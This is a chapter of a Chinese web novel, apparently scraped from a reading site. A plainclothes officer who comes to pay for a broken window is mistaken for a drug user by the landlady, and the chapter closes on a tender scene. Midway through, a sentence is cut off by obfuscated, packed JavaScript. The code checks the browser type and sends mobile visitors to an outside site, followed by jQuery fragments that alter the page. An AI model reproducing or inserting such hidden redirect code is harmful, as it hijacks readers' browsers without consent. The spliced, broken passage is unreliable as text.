午后风大了起来,广场中央的充气圣诞老人被吹得脸色发青,感觉下一秒就要自“爆”自弃。公冶开车来到商场地下,兜兜转转,寻了个位子停。
他可不会明火执仗地去停上弦街,那条街是大名鼎鼎的贴条雷区,经常尾气还没散光,雨刮器下就夹了一张负债两百的白纸。满月区最爱干这个,尤其这破地贴得狠,挪车短信都不给发,主打的就是一个惊喜。
公冶昨晚开警车,多少抱着点侥幸心理,往边上一刹就不管了。今天他可得端稳自己的饭碗做个遵纪守法的好市民。这都年末了,交警队也神出鬼没,他再有钱,也不愿白白给同行们冲业绩。
步行至晓月公寓,在楼下他就听见公寓前台热闹得很,走近了看,有男有女大约五六个人,趿着布拖鞋,穿着摇粒绒睡袍,一看便知是租户,送外卖取快递的被他们堵得只能侧身通过。
用脚趾头想想也知道,这一个个事主们必是要为昨晚的“顶上战争”来讨个说法了。
租户一时半晌不会散,公冶硬着头皮走进去,趁乌泱乌泱的争吵声如收到预警一般同时安静下来的瞬间,见机插上一声:“你好,我找管家。”
所有人回头,一个头戴棒球帽,身上只套一件深色风衣的陌生男子携着冷气站在门口,他个头很高,帽檐遮下一方阴暗,覆住了表情。
年轻男管家快喊不动,喉咙烧着一把干柴烈火,哑着嗓子应声,公冶视线随即钉过去,管家和他漆黑寡淡的双眼相触,脊背不寒而栗。
公冶戴美瞳了。
GS有条不成文的规定,公美执行任务过程中,要求去到某些特殊场合,比如学校、婚宴、音乐厅、私人会所这种人流集中或环境隆重的场地,出于人道主义考虑,他们可以戴有色隐形眼镜合理掩饰身份。公冶来这只想尽快解决窗户破损的问题,该赔偿赔偿,该换新换新,美食家身份容易引起骚动,所以他特意找了一盒日抛在车里戴上了。
“你好,是看房吗?”
“707房间的窗玻璃……”
“啊你707的?”不等他说完,有两个自他进来就唯恐避之不及的女生立马跳起脚,“我记得707是个女生在住啊,你是她……?”
公冶和管家说:“那屋子的窗玻璃碎了,我弄坏的,今天来处理。”
管家下巴快惊掉:“你为什么要弄坏我们公寓的窗户,是落地窗?”
“对,落地窗,”公冶即兴扯了个说辞,“昨天家里进贼,非常抱歉,吵到大家了。”
“我就说嘛……”一伙人怨声载道地围在那,把矛头调向公冶,“昨晚吵得半死,进贼还不报警,逞什么英雄……”
“好啦好啦我知道啦,我这还一摊子麻烦呢,回头再说!”转角口下来个烫着一头羊毛卷的中年大妈,八成已经刮了一耳朵闲话,挂掉电话就盛气凌人地冲着公冶指指指,“你说你搞坏的是吧,啊?就你搞坏的我们窗户?来来来你说说那么牢固的窗你咋搞坏的?”
“踢的。”
“踢——踢的???”
“嗯,地板也坏了,墙也是。”
“哈!好呀,太好了!我真活见鬼了,来你跟我来楼上,我真服了,昨天凌晨一帮子人给我发消息打电话跟我说707在大闹天宫快把楼给掀了,我今早来敲你门,你还不在!好呀,砸了我的房子就想跑路?”
大妈看租户们还杵着,拜托地甩了一下手:“好啦帅哥美女们,回屋吧,站在风口多冷啊,这家伙不都交代了吗,他呱一脚踢的!”
“这算扰民啊,我要报警的!”有个男生不依不饶,听口气是昨晚来哐哐捶门的,“什么素质啊,哎楼上楼下隔壁全都吓死了,阿姨你是不知道他们搞得多大声,我吓得心脏病要犯了!”
“昨晚是个意外,”公冶歉意诚恳,“真的非常对不起,以后我不会再发出噪音扰民。”
“我他妈都被你搞得噪敏了!”男生嘴巴里小声叽歪着脏话,“707是个女生在住,你是她谁啊?每天晚上都来?床都要给你干塌了吧。”
有人听不下去了:“我去,你706的吧?”
“干嘛?”
“你噪敏个屁!你每天半夜打游戏放音乐,我还没说你啥呢!”凶巴巴的高个子女生是他邻居,显然积怨已深。
“我也举报!我是他楼下!他每晚十点以后走来走去拖椅子砸地板砸门!”
男生涨红了脸:“商业楼墙体不隔音!这你们不懂吗?!是707素质低下恶意扰民!攻击我干什么!我都神经衰弱了!”
“你有脸说神经衰弱?多少人投诉过你!自己心里没点数?这里谁都有资格谴责707,就你没有!”
“好啦好啦——不管是707还是706,我会和他们再做沟通的!大家行行好先回吧,天多冷啊!”
吵来吵去无非是个人素质和公寓安全的问题,前者就算了,后者可不能由着他们“贼啊偷啊”地乱喊。大妈抬抬这位哄哄那位草草收场了大战,忍不住上下打量公冶,这是个不折不扣的真帅哥,她语气友善多了:“你跟我来吧。”
坐电梯的时候大妈还在过来人地唠叨:“我说你们小年轻啊,以后办事声音稍微小点,这东邻西舍的听见,影响多不好。”
“您误会了,”此刻,公冶的脸色和广场上的充气圣诞老人如出一辙,铁青得没分毫余地,“我只是打了个架。”
“打架?对啊,我就说你们打架嘛,玩闹嘛,咝……我就奇怪了,你们干啥了还能踢碎窗户啊?真的小伙子,我跟你说,那什么还是悠着点来吧,你们人生才开始啊,以后有的是日子,何必急在这一时。”
公冶快要听不下去了。
来到七楼,他根据邓烟雨给的密码开门。门一打开,过堂风凶猛拂来,屋内一览无遗,大妈脸上八卦的笑容彻彻底底凝固了。
房间像个爆炸的垃圾场,比昨天还杯盘狼藉,大抵是今天风大,又给这一地冷饭炒了一遍。
大妈嘴巴都气歪了:“你你你……”
“你你你把我落地窗一块不剩全踢碎了?!我的地板怎么翘了?!我的墙怎么掉皮了?!我的桌——我的,我的上帝啊——”
公冶故地重游,精神状态尚可:“我都会赔的,您算算。”
“还让我算?!这这这……”
碰上这档子事,石佛都头疼。大妈快昏过去了,气得拍大腿,在屋子里团团打转,速效救心丸抠出来两粒,缓了一阵再放回去,食指跟抽风一样,使劲点了点公冶,斩钉截铁地说:“我要报警。”
公冶见她态度一转判若两人,纳闷了:“我就是来赔偿的,报警更麻烦,我们私下协商解决不行么?”
“赔偿?你得赔我一栋房你知道吗?!”
大妈捂着绞痛的胸口,如丧考妣地坐在唯一完好的木椅子上。
“孩子,我不跟你废话了,我是看你脸生得好,人也是个明白人,还想算你个折扣,结果你这给我糟蹋的……直接让我去翻新啊!不行我一定要报警,那些租户跟我说你们昨天晚上不止打啊,还叫啊,从门口搞到阳台,你们这是玩疯了啊,年轻人!我必须……对对,还有人说听到什么……毒?他们说你们吸毒!嗑药啊!这是违法的小伙子,我跟你说,这事我必须拿到警察那里翻个明白!你今儿别想走了!”
大妈正义之火熊熊燃烧,说完就做,噼里啪啦拨通电话,公冶懵得都来不及阻止,她已经在那里“喂警察同志啊,出人命了,我这抓了个吸毒的!”。
五分钟后,派出所和禁毒大队的人来了。
公冶坐在一边,垂着头捂着脸,真恨没个地洞钻。
禁毒大队对这片太熟悉了——怎么?二刷?昨天没扫干净?大妈激动地指着公冶:“就他!嗑药磕疯了啊,把我房子拆得……”
派出所没人认识公冶,上去就让他自觉伸手,看这架势真要铐走。还是大队里有个眼力老辣的老同志,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579271|187255||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他和市局禁毒支队、GS总部以前联手破获过一起特大制毒案,打过几次交道。
“影青?”
他似是而非地叫出口,公冶闻声,放下手,脸皮再厚也快撑不住。
“你是影青吧?”
影青……一听就是代号,他是公美?公美吸毒?大伙的脑子快转废了,只见公冶凄凉地抬起头,与月河分局禁毒大队来了一场死寂的对视。
老同志:“你……你干嘛呢?”
“我来赔窗户,昨天抓吸毒美,把窗户踢碎了……”
在场警察全部石化。
好大一个乌龙,丢脸丢掉太平洋了。
“阿姨,那个,误、误会……”
警察们尴尬得各个返祖抓耳挠腮,却不得不上前解释,在管理员大妈一声声茫然的“啊?啊?”的单音中,公冶胸口也绞痛起来了,还有一帮幸灾乐祸的拍他肩膀,边笑边安慰:“没事没事,不会传到熊队耳朵里的。”
这大概是他们从业以来遇到的最可笑的一趟出警,等会回办公室指不定宣扬得天上的太奶都知道。
“你小子,就是不会讲话,多大点事让你搞成这样,平常别光顾着体测满分达标,嘴皮子也要练的,晓得伐?”
“晓得了。”公冶只能服管。
“哎呀没事没事,哈哈哈,真被你整惨了,放心!熊队那不会说的。”
这名老同志还挺喜欢公冶,虽然平日见他总是独来独往,和女警察聊天也是别人嘻嘻哈哈十句他就只干巴巴憋出一个字,但工作能力确实出色,迄今攒下来的成绩可得全市通报表扬光荣上榜。
等人散了,一个下午,公冶不止掏了大把钞票,还打扫了屋子,大妈闹了一出笑话也惭愧,窗户换新就不赖给他,自认倒霉亲力亲为了。
他还记着给邓烟雨带东西,把小破桌上的瓶瓶罐罐皆装起来,手办和水杯也装起来,书揣了一大袋,下午四点,他准时回到了家。
从来没那么累过,公冶头疼欲裂,往沙发上一倒,没声了。
邓烟雨在书房泡了一天,睡着了,朦胧间听到外面传来声音,她眼睛酸得没能睁开,再醒来时已是傍晚六点。
她走出书房,来到客厅,先发现茶几下那一大袋物资,接着目光不受控制地移向沙发。
沙发上,公冶渡莲盖着薄毯,睡得非常非常沉。
他一只手掉在外面,腕骨轻垂,黑发乱糟糟地散开,一侧的脸埋在柔软的靠枕里,长睫轻颤遮落。
眉间眼底一贯的冷静自持,在这一刻统统卸下,他姿态放松,呼吸均匀,睡相不设任何防备,像只陷入深度睡眠的大猫咪。
邓烟雨生怕惊动他,在他跟前蹑手蹑脚地蹲下。
这会儿,她就敢明目张胆地看他了。
公冶紧闭的眼睛下方有两痕乌青,是长期熬夜和过度劳累造成的,使他看起来消瘦许多,邓烟雨原本暖洋洋的心情一下子落灰了。
说起来,他从昨晚到现在就没睡过觉,难怪困成这个样子,加上夜间执勤不可以休息,白天也为了自己东奔西走,人不垮才怪呢。
他太累了。
他那么累,我还考虑不周到,这样那样地使唤他。
邓烟雨抱着膝盖,万分自责地缩在他身边,咬紧下唇。
她想起之前给爸爸买过一个改善血液循环的养生手环,效果还不错,就乖乖依偎在他身边,上网搜索。
这期间,公冶越睡越往外,要摔下沙发了,邓烟雨忍不住戳戳他脸蛋。
软的。
还是不使坏了。邓烟雨放下手机,轻轻托着他的肩膀往里推了推。
动静很小,可公冶即使在睡梦中也比较敏感,他眉头一皱,大概是觉得肩膀冷了,要毯子。他伸手,啪一声抓到了什么,迷糊之中他想也没想,果断朝自己这边拽——
“等!”
邓烟雨就被他这么抓着,往沙发上一带,栽进了他的怀抱。